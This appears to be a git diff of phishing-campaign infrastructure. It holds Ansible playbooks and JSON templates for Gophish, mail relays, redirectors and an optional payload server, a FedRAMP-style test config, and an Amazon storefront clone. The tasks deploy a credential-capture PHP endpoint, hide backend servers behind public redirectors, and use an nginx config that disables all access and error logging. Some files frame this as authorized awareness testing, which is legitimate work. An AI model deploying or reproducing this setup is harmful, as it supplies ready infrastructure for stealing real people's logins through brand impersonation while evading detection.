<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||
This security alert was sent to {{ "{{.Email}}" }}<br>
|
||||
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,87 @@
|
||||
# FedRAMP Phishing Test Compliance Configuration
|
||||
# This configuration ensures compliance with FedRAMP requirements
|
||||
|
||||
compliance_mode: fedramp
|
||||
test_type: user_awareness_only
|
||||
|
||||
# Email Configuration
|
||||
email_settings:
|
||||
# Emails must be whitelisted on all security systems
|
||||
require_whitelist: true
|
||||
bypass_security_controls: true
|
||||
|
||||
# No modification of emails allowed
|
||||
allow_header_modification: false
|
||||
allow_content_filtering: false
|
||||
|
||||
# Tracking requirements
|
||||
tracking:
|
||||
- email_opened (via pixel)
|
||||
- link_clicked
|
||||
- credentials_submitted
|
||||
- user_identity (tied to actions)
|
||||
|
||||
# Landing Page Requirements
|
||||
landing_page:
|
||||
# Must immediately identify as phishing test
|
||||
show_phishing_notice: true
|
||||
phishing_notice_text: |
|
||||
This was a phishing simulation!
|
||||
You should never enter your credentials on suspicious websites.
|
||||
|
||||
# Educational content required
|
||||
include_education: true
|
||||
education_content:
|
||||
- How to identify phishing emails
|
||||
- Red flags to watch for
|
||||
- Reporting procedures
|
||||
- Best practices for email security
|
||||
|
||||
# Reporting Requirements
|
||||
reporting:
|
||||
# No PII in reports
|
||||
anonymize_data: true
|
||||
report_format: aggregate_only
|
||||
|
||||
# Required metrics
|
||||
metrics:
|
||||
- total_emails_sent
|
||||
- emails_opened_percentage
|
||||
- links_clicked_percentage
|
||||
- credentials_submitted_percentage
|
||||
- department_breakdown
|
||||
- role_based_statistics
|
||||
|
||||
# Prohibited data
|
||||
exclude:
|
||||
- individual_names
|
||||
- specific_email_addresses
|
||||
- personal_identifiers
|
||||
|
||||
# Technical Configuration
|
||||
technical:
|
||||
# Simple campaign only
|
||||
campaign_type: basic_phishing_test
|
||||
|
||||
# No exploitation
|
||||
allow_malware: false
|
||||
allow_exploitation: false
|
||||
allow_persistence: false
|
||||
|
||||
# Clean tracking only
|
||||
tracking_methods:
|
||||
- pixel_tracking
|
||||
- unique_urls
|
||||
- form_submission
|
||||
|
||||
# Approval Process
|
||||
approval:
|
||||
requires_3pao_approval: true
|
||||
requires_template_review: true
|
||||
approval_documentation: required
|
||||
|
||||
# Post-Test Requirements
|
||||
post_test:
|
||||
notify_failures: true
|
||||
provide_training: true
|
||||
remediation_timeline: 30_days
|
||||
@@ -0,0 +1,69 @@
|
||||
{
|
||||
"deployment_id": "{{ deployment_id }}",
|
||||
"deployment_time": "{{ ansible_date_time.iso8601 }}",
|
||||
"provider": "{{ provider }}",
|
||||
"region": "{{ aws_region | default(linode_region) | default('') }}",
|
||||
|
||||
"infrastructure": {
|
||||
"mta_front": {
|
||||
"name": "{{ mta_front_name }}",
|
||||
"ip": "{{ mta_front_ip | default('') }}",
|
||||
"instance_id": "{{ mta_instance_id | default('') }}"
|
||||
},
|
||||
"gophish_server": {
|
||||
"name": "{{ gophish_server_name }}",
|
||||
"ip": "{{ gophish_server_ip | default('') }}",
|
||||
"instance_id": "{{ gophish_instance_id | default('') }}",
|
||||
"admin_port": "{{ gophish_admin_port }}"
|
||||
},
|
||||
"phishing_webserver": {
|
||||
"name": "{{ phishing_web_name }}",
|
||||
"ip": "{{ phishing_web_ip | default('') }}",
|
||||
"instance_id": "{{ phishing_web_instance_id | default('') }}"
|
||||
},
|
||||
"phishing_redirector": {
|
||||
"name": "{{ phishing_redirector_name }}",
|
||||
"ip": "{{ phishing_redirector_ip | default('') }}",
|
||||
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
|
||||
},
|
||||
{% if deploy_payload_infra | default(false) %}
|
||||
"payload_server": {
|
||||
"name": "{{ payload_server_name }}",
|
||||
"ip": "{{ payload_server_ip | default('') }}",
|
||||
"instance_id": "{{ payload_server_instance_id | default('') }}"
|
||||
},
|
||||
"payload_redirector": {
|
||||
"name": "{{ payload_redirector_name }}",
|
||||
"ip": "{{ payload_redirector_ip | default('') }}",
|
||||
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
|
||||
},
|
||||
{% endif %}
|
||||
},
|
||||
|
||||
"domains": {
|
||||
"phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
|
||||
"mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
|
||||
{% if deploy_payload_infra | default(false) %}
|
||||
"payload_domain": "{{ payload_subdomain }}.{{ domain }}",
|
||||
{% endif %}
|
||||
},
|
||||
|
||||
"credentials": {
|
||||
"gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
|
||||
"smtp_auth_user": "{{ smtp_auth_user }}",
|
||||
"smtp_settings": {
|
||||
"host": "{{ mta_front_ip }}",
|
||||
"port": 25,
|
||||
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
|
||||
}
|
||||
},
|
||||
|
||||
"security_groups": {
|
||||
{% if provider == 'aws' %}
|
||||
"mta_sg": "{{ mta_security_group_id | default('') }}",
|
||||
"gophish_sg": "{{ gophish_security_group_id | default('') }}",
|
||||
"web_sg": "{{ web_security_group_id | default('') }}",
|
||||
"redirector_sg": "{{ redirector_security_group_id | default('') }}"
|
||||
{% endif %}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
---
|
||||
# Configure phishing web server with landing pages and credential capture
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- php-fpm
|
||||
- php-json
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create web directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- /var/www/phishing
|
||||
- /var/www/phishing/templates
|
||||
- /var/www/phishing/static
|
||||
- /var/www/phishing/captures
|
||||
- /var/private/phishing_creds
|
||||
|
||||
- name: Deploy phishing templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
|
||||
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
|
||||
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
|
||||
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
|
||||
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
|
||||
|
||||
- name: Deploy credential capture script
|
||||
template:
|
||||
src: "../templates/phishing/capture.php.j2"
|
||||
dest: "/var/www/phishing/capture.php"
|
||||
mode: '0640'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Configure NGINX for phishing sites
|
||||
template:
|
||||
src: "../templates/phishing/nginx-phishing-webserver.j2"
|
||||
dest: /etc/nginx/sites-available/phishing
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable phishing site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/phishing
|
||||
dest: /etc/nginx/sites-enabled/phishing
|
||||
state: link
|
||||
|
||||
- name: Remove default nginx site
|
||||
file:
|
||||
path: /etc/nginx/sites-enabled/default
|
||||
state: absent
|
||||
|
||||
- name: Configure PHP-FPM for security
|
||||
lineinfile:
|
||||
path: /etc/php/7.4/fpm/php.ini
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
loop:
|
||||
- { regexp: '^expose_php', line: 'expose_php = Off' }
|
||||
- { regexp: '^display_errors', line: 'display_errors = Off' }
|
||||
- { regexp: '^log_errors', line: 'log_errors = On' }
|
||||
|
||||
- name: Restart services
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
state: restarted
|
||||
enabled: yes
|
||||
loop:
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
@@ -0,0 +1,183 @@
|
||||
---
|
||||
# Configure security groups and firewall rules for phishing infrastructure
|
||||
|
||||
- name: Configure MTA Front security
|
||||
block:
|
||||
- name: Create MTA Front security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "mta-front-{{ deployment_id }}"
|
||||
description: "Security group for MTA Front server"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# SMTP services - public facing
|
||||
- proto: tcp
|
||||
ports: 25
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "SMTP from anywhere"
|
||||
|
||||
- proto: tcp
|
||||
ports: 587
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "SMTP submission"
|
||||
|
||||
- proto: tcp
|
||||
ports: 465
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "SMTPS"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.mta_front | default(false) | bool
|
||||
|
||||
- name: Configure Gophish security (hidden backend)
|
||||
block:
|
||||
- name: Create Gophish security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "gophish-{{ deployment_id }}"
|
||||
description: "Security group for Gophish server (hidden)"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access only
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
- proto: tcp
|
||||
ports: 3333
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "Gophish admin interface"
|
||||
|
||||
# Internal communication only
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "{{ phishing_redirector_ip }}/32"
|
||||
rule_desc: "HTTP from phishing redirector"
|
||||
|
||||
- proto: tcp
|
||||
ports: 25
|
||||
cidr_ip: "{{ mta_front_ip }}/32"
|
||||
rule_desc: "SMTP from MTA front"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.gophish | default(false) | bool
|
||||
|
||||
- name: Configure Phishing Redirector security (public facing)
|
||||
block:
|
||||
- name: Create Phishing Redirector security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "phish-redirector-{{ deployment_id }}"
|
||||
description: "Security group for Phishing Redirector"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# Public web access
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "HTTP from anywhere"
|
||||
|
||||
- proto: tcp
|
||||
ports: 443
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "HTTPS from anywhere"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.phishing_redirector | default(false) | bool
|
||||
|
||||
- name: Configure Phishing Web Server security (hidden backend)
|
||||
block:
|
||||
- name: Create Phishing Web Server security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "phish-webserver-{{ deployment_id }}"
|
||||
description: "Security group for Phishing Web Server (hidden)"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access only
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# Internal communication only
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "{{ phishing_redirector_ip }}/32"
|
||||
rule_desc: "HTTP from phishing redirector"
|
||||
|
||||
- proto: tcp
|
||||
ports: 443
|
||||
cidr_ip: "{{ phishing_redirector_ip }}/32"
|
||||
rule_desc: "HTTPS from phishing redirector"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.phishing_webserver | default(false) | bool
|
||||
|
||||
- name: Configure Payload Server security (hidden backend)
|
||||
block:
|
||||
- name: Create Payload Server security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "payload-server-{{ deployment_id }}"
|
||||
description: "Security group for Payload Server (hidden)"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access only
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# Internal communication only
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "{{ payload_redirector_ip }}/32"
|
||||
rule_desc: "HTTP from payload redirector"
|
||||
|
||||
- proto: tcp
|
||||
ports: 443
|
||||
cidr_ip: "{{ payload_redirector_ip }}/32"
|
||||
rule_desc: "HTTPS from payload redirector"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.payload_server | default(false) | bool
|
||||
|
||||
- name: Display security configuration summary
|
||||
debug:
|
||||
msg:
|
||||
- "Phishing Infrastructure Security Configuration"
|
||||
- "============================================="
|
||||
- "✓ Least privilege access implemented"
|
||||
- "✓ Backend servers hidden from public access"
|
||||
- "✓ Only redirectors/MTA fronts are publicly accessible"
|
||||
- "✓ Operator-only SSH access configured"
|
||||
- "✓ Internal communication secured"
|
||||
@@ -0,0 +1,40 @@
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
root /var/www/phishing;
|
||||
index index.html index.php;
|
||||
|
||||
# Disable all logging
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
|
||||
# PHP processing
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
}
|
||||
|
||||
# Credential capture endpoint
|
||||
location = /capture.php {
|
||||
limit_except POST { deny all; }
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
# Template routing
|
||||
location /templates/ {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Static resources
|
||||
location /static/ {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Default
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 83 KiB |
|
After Width: | Height: | Size: 37 KiB |
|
After Width: | Height: | Size: 43 KiB |
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 10 KiB |
|
After Width: | Height: | Size: 25 KiB |
|
After Width: | Height: | Size: 9.0 KiB |
|
After Width: | Height: | Size: 11 KiB |
|
After Width: | Height: | Size: 31 KiB |
|
After Width: | Height: | Size: 34 KiB |
|
After Width: | Height: | Size: 40 KiB |
|
After Width: | Height: | Size: 22 KiB |
|
After Width: | Height: | Size: 38 KiB |
|
After Width: | Height: | Size: 122 KiB |
@@ -0,0 +1,238 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Amazon</title>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw==" crossorigin="anonymous" referrerpolicy="no-referrer" />
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<div class="navbar">
|
||||
<div class="nav-logo border">
|
||||
<div class="logo"></div>
|
||||
</div>
|
||||
|
||||
<div class="nav-address border">
|
||||
<p class="add-first">Deliver to</p>
|
||||
<div class="add-icon">
|
||||
<i class="fa-solid fa-location-dot"></i>
|
||||
<p class="add-second">US</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="nav-search">
|
||||
<select class="search-select">
|
||||
<option>All</option>
|
||||
</select>
|
||||
<input placeholder="Search Amazon" class="search-input">
|
||||
<div class="search-icon">
|
||||
<i class="fa-solid fa-magnifying-glass"></i>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="nav-signin border">
|
||||
<p><span>Hello, sign in</span></p>
|
||||
<p class="nav-second">Accounts & Lists</p>
|
||||
</div>
|
||||
|
||||
<div class="nav-return border">
|
||||
<p><span>Returns</span></p>
|
||||
<p class="nav-second">& Orders</p>
|
||||
</div>
|
||||
|
||||
<div class="nav-cart border">
|
||||
<i class="fa-solid fa-cart-shopping"></i>
|
||||
Cart
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel">
|
||||
<div class="panel-all">
|
||||
<i class="fa-solid fa-bars"></i>
|
||||
All
|
||||
</div>
|
||||
|
||||
<div class="panel-options">
|
||||
<p>Today's Deals</p>
|
||||
<p>Buy Again</p>
|
||||
<p>Customer Service</p>
|
||||
<p>Registry</p>
|
||||
<p>Gift Cards</p>
|
||||
<p>Sell</p>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="hero-section">
|
||||
<div class="hero-msg">
|
||||
<p>You are on amazon.com. You can also shop on Amazon for millions of products with fast local delivery. <a>Click here to go to amazon.in</a></p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="shop-section">
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Clothes</h2>
|
||||
<div class="box-img" style="background-image: url('box1_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Health & Personal Care</h2>
|
||||
<div class="box-img" style="background-image: url('box2_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Furniture</h2>
|
||||
<div class="box-img" style="background-image: url('box3_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Electronics</h2>
|
||||
<div class="box-img" style="background-image: url('box4_image.jpg');"></div>
|
||||
<p>See more</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Beauty picks</h2>
|
||||
<div class="box-img" style="background-image: url('box5_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Shop Pet Supplies</h2>
|
||||
<div class="box-img" style="background-image: url('box6_image.jpg');"></div>
|
||||
<p>See more</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>New Arrival in Toys</h2>
|
||||
<div class="box-img" style="background-image: url('box7_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Discover Fashion Trends</h2>
|
||||
<div class="box-img" style="background-image: url('box8_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Home refresh ideas</h2>
|
||||
<div class="box-img" style="background-image: url('box9_image.jpg');"></div>
|
||||
<p>Shop kitchen upgrades</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Create with strip lights</h2>
|
||||
<div class="box-img" style="background-image: url('box10_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>For your Fitness Needs</h2>
|
||||
<div class="box-img" style="background-image: url('box11_image.jpg');"></div>
|
||||
<p>Shop now</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="box">
|
||||
<div class="box-content">
|
||||
<h2>Spring new arrivals</h2>
|
||||
<div class="box-img" style="background-image: url('box12_image.jpg');"></div>
|
||||
<p>Discover more</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<footer>
|
||||
<div class="foot-panel1">
|
||||
Back to Top
|
||||
</div>
|
||||
|
||||
<div class="foot-panel2">
|
||||
<ul>
|
||||
<p>Get to Know Us</p>
|
||||
<a>Careers</a>
|
||||
<a>Blog</a>
|
||||
<a>About Amazon</a>
|
||||
<a>Investor Relations</a>
|
||||
<a>Amazon Devices</a>
|
||||
<a>Amazon Science</a>
|
||||
</ul>
|
||||
|
||||
<ul>
|
||||
<p>Make Money with Us</p>
|
||||
<a>Sell products on Amazon</a>
|
||||
<a>Sell on Amazon Business</a>
|
||||
<a>Sell apps on Amazon</a>
|
||||
<a>Become an Affiliate</a>
|
||||
<a>Advertise Your Products</a>
|
||||
<a>Self-Publish with Us</a>
|
||||
<a>Host an Amazon Hub</a>
|
||||
<a>› See More Make Money with Us</a>
|
||||
</ul>
|
||||
|
||||
<ul>
|
||||
<p>Amazon Payment Products</p>
|
||||
<a>Amazon Business Card</a>
|
||||
<a>Shop with Points</a>
|
||||
<a>Reload Your Balance</a>
|
||||
<a>Amazon Currency Converter</a>
|
||||
</ul>
|
||||
|
||||
<ul>
|
||||
<p>Let Us Help You</p>
|
||||
<a>Amazon and COVID-19</a>
|
||||
<a>Your Account</a>
|
||||
<a>Your Orders</a>
|
||||
<a>Shipping Rates & Policies</a>
|
||||
<a>Returns & Replacements</a>
|
||||
<a>Manage Your Content and Devices</a>
|
||||
<a>Amazon Assistant</a>
|
||||
<a>Help</a>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="foot-panel3">
|
||||
<div class="logo"></div>
|
||||
</div>
|
||||
|
||||
<div class="foot-panel4">
|
||||
<div class="policies">
|
||||
<a>Conditions of Use</a>
|
||||
<a>Privacy Policies</a>
|
||||
<a>Your Ads Privacy Choices</a>
|
||||
</div>
|
||||
<div class="copyright">
|
||||
© 1996-2023, Amazon.com, Inc. or its affiliates
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,269 @@
|
||||
* {
|
||||
margin: 0;
|
||||
font-family: Arial;
|
||||
border: border-box;
|
||||
}
|
||||
|
||||
.navbar {
|
||||
height: 60px;
|
||||
background-color: #0F1111;
|
||||
color: white;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-evenly;
|
||||
}
|
||||
|
||||
.nav-logo {
|
||||
height: 50px;
|
||||
width: 110px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
background-image: url("amazon_logo.png");
|
||||
background-size: cover;
|
||||
height: 50px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.border {
|
||||
border: 1.5px solid transparent;
|
||||
}
|
||||
|
||||
.border:hover {
|
||||
border: 1.5px solid white;
|
||||
}
|
||||
|
||||
/* box2 */
|
||||
.add-first {
|
||||
color: #CCCCCC;
|
||||
font-size: 0.85rem;
|
||||
margin-left: 13px;
|
||||
}
|
||||
|
||||
.add-second {
|
||||
font-size: 1rem;
|
||||
margin-left: 1.5px;
|
||||
}
|
||||
|
||||
.add-icon {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
/* box3 */
|
||||
.nav-search {
|
||||
display: flex;
|
||||
justify-content: space-evenly;
|
||||
background-color: pink;
|
||||
width: 600px;
|
||||
height: 40px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.search-select {
|
||||
background-color: #f3f3f3;
|
||||
width: 50px;
|
||||
text-align: center;
|
||||
border-top-left-radius: 4px;
|
||||
border-bottom-left-radius: 4px;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.search-input {
|
||||
width: 100%;
|
||||
font-size: 1rem;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.search-icon {
|
||||
width: 45px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
font-size: 1.2rem;
|
||||
background-color: #febd68;
|
||||
border-top-right-radius: 4px;
|
||||
border-bottom-right-radius: 4px;
|
||||
color: #0F1111;
|
||||
}
|
||||
|
||||
/* box4 */
|
||||
span {
|
||||
font-size: 0.7rem;
|
||||
}
|
||||
|
||||
.nav-second {
|
||||
font-size: 0.85rem;
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
/* box6 */
|
||||
.nav-cart i {
|
||||
font-size: 28px;
|
||||
}
|
||||
|
||||
.nav-cart {
|
||||
font-size: 0.85rem;
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
/* panel */
|
||||
.panel {
|
||||
height: 40px;
|
||||
background-color: #222f3d;
|
||||
display: flex;
|
||||
color: white;
|
||||
align-items: center;
|
||||
justify-content: space-evenly;
|
||||
}
|
||||
|
||||
.panel-all:hover {
|
||||
border: 1.5px solid white;
|
||||
}
|
||||
|
||||
.panel-options p {
|
||||
display: inline;
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.panel-options {
|
||||
width: 85%;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.panel-options p:hover {
|
||||
border: 1.5px solid white;
|
||||
}
|
||||
/* hero section */
|
||||
.hero-section {
|
||||
background-image: url("hero1_image.jpg");
|
||||
background-size: cover;
|
||||
height: 350px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: flex-end;
|
||||
}
|
||||
|
||||
.hero-msg {
|
||||
background-color: white;
|
||||
color: black;
|
||||
height: 40px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 0.85rem;
|
||||
width: 80%;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.hero-msg a {
|
||||
color: #007185;
|
||||
}
|
||||
|
||||
/* shop-section */
|
||||
.shop-section {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
justify-content: space-evenly;
|
||||
background-color: hsl(318, 65%, 90%);
|
||||
}
|
||||
|
||||
|
||||
.box {
|
||||
/*border: 2px solid black;*/
|
||||
border-radius: 5px;
|
||||
height: 400px;
|
||||
width: 23%;
|
||||
background-color: white;
|
||||
padding: 20px 0px 15px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
.box-img {
|
||||
height: 300px;
|
||||
background-size: cover;
|
||||
margin-top: 1rem;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.box-content {
|
||||
margin-left: 1rem;
|
||||
margin-right: 1rem;
|
||||
}
|
||||
|
||||
.box-content p {
|
||||
color: #007185;
|
||||
}
|
||||
|
||||
.box-content p:hover {
|
||||
color: #febd68;
|
||||
}
|
||||
/* footer */
|
||||
footer {
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
.foot-panel1 {
|
||||
background-color: #37475a;
|
||||
color: white;
|
||||
height: 50px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.foot-panel2 {
|
||||
background-color: #222f3d;
|
||||
color: white;
|
||||
height: 500px;
|
||||
display: flex;
|
||||
justify-content: space-evenly;
|
||||
}
|
||||
|
||||
.foot-panel2 a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
ul {
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
ul a {
|
||||
display: block;
|
||||
font-size: 0.85rem;
|
||||
margin-top: 10px;
|
||||
color: #dddddd;
|
||||
}
|
||||
|
||||
.foot-panel3 {
|
||||
background-color: #222f3d;
|
||||
color: white;
|
||||
border-top: 0.5px solid white;
|
||||
height: 70px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
background-image: url("amazon_logo.png");
|
||||
background-size: cover;
|
||||
height: 50px;
|
||||
width: 100px;
|
||||
}
|
||||
|
||||
.foot-panel4 {
|
||||
background-color: #0F1111;
|
||||
color: white;
|
||||
height: 80px;
|
||||
text-align: center;
|
||||
font-size: 0.7rem;
|
||||
}
|
||||
|
||||
.policies {
|
||||
padding-top: 25px;
|
||||
}
|
||||
|
||||
.copyright {
|
||||
padding-top: 5px;
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
